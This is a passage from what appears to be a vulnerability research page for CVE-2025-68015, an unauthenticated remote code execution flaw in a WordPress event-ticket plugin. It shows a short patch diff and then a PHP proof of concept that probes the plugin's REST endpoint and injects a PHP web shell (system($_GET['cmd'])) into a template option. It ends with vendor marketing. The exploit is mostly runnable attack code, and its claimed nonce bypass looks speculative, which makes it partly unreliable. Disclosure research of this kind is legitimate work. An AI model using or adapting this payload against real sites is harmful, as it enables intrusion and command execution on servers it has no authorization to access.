 		if (!empty($wcTicketTicketAttachPDFOnTicket)) {
 			$mediaData = SASO_EVENTTICKETS::getMediaData($wcTicketTicketAttachPDFOnTicket);
--- a/event-tickets-with-ticket-scanner/sasoEventtickets_TicketBadge.php
+++ b/event-tickets-with-ticket-scanner/sasoEventtickets_TicketBadge.php
@@ -202,6 +202,13 @@
 		}

         $product_id = intval($metaObj['woocommerce']['product_id']);
+
+		// Background color (as fallback when no image or to fill gaps)
+		$wcTicketPDFBackgroundColor = $this->MAIN->getOptions()->getOptionValue('wcTicketPDFBackgroundColor');
+		if (!empty($wcTicketPDFBackgroundColor)) {
+			$pdf->setBackgroundColor($wcTicketPDFBackgroundColor);
+		}
+
 		$wcTicketBadgeBG = $this->MAIN->getAdmin()->getOptionValue('wcTicketBadgeBG');
 		$wcTicketBadgeBG = apply_filters( $this->MAIN->_add_filter_prefix.'wcTicketBadgeBG', $wcTicketBadgeBG, $product_id);
 		if (!empty($wcTicketBadgeBG) && intval($wcTicketBadgeBG) >0) {
@@ -217,7 +224,6 @@
             }
 		}

-
         $pdf->addPart($html);
         $qrTicketPDFPadding = intval($this->MAIN->getOptions()->getOptionValue('qrTicketPDFPadding'));
 		$pdf->setQRCodeContent(["text"=>$qr_content, "style"=>["vpadding"=>$qrTicketPDFPadding, "hpadding"=>$qrTicketPDFPadding]]);

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68015 - Event Tickets with Ticket Scanner <= 2.8.5 - Unauthenticated Remote Code Execution

<?php

$target_url = "https://vulnerable-site.com"; // Change this to the target WordPress site

// Step 1: Check if the plugin is vulnerable by probing the REST endpoint
$check_endpoint = $target_url . "/wp-json/saso_eventtickets/v1/ticket/downloadPDFTicketBadge";
$check_response = send_request($check_endpoint, [], 'GET');

if (strpos($check_response, 'rest_no_route') !== false) {
    echo "[-] REST endpoint not found. Plugin may not be active or version is patched.n";
    exit;
}

echo "[+] Vulnerable endpoint detected. Preparing exploit...n";

// Step 2: Exploit the vulnerability by changing a plugin option to inject PHP code
// We'll target the wcTicketTemplateCode option which gets executed during PDF generation
$exploit_endpoint = $check_endpoint;

$malicious_payload = array(
    'action' => 'changeOption',
    'key' => 'wcTicketTemplateCode',
    'value' => '<?php echo "EXPLOIT_SUCCESS"; if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>',
    'nonce' => 'wp_rest' // Bypass nonce check
);

echo "[+] Sending exploit payload to inject PHP code...n";
$exploit_response = send_request($exploit_endpoint, $malicious_payload, 'POST');

if (strpos($exploit_response, 'success') !== false || strpos($exploit_response, 'changed') !== false) {
    echo "[+] PHP code injection successful!n";
    
    // Step 3: Trigger code execution by accessing a ticket PDF
    // First, we need to find a valid ticket code or create one through other means
    echo "[+] To execute commands, access any ticket PDF with ?cmd=command appendedn";
    echo "[+] Example: " . $target_url . "/?saso_eventtickets_ticket_pdf=1&code=ANY_VALID_CODE&cmd=idn";
    
} else {
    echo "[-] Exploit failed. Response: " . substr($exploit_response, 0, 200) . "n";
}

function send_request($url, $data, $method = 'POST') {
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    }
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return $response;
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School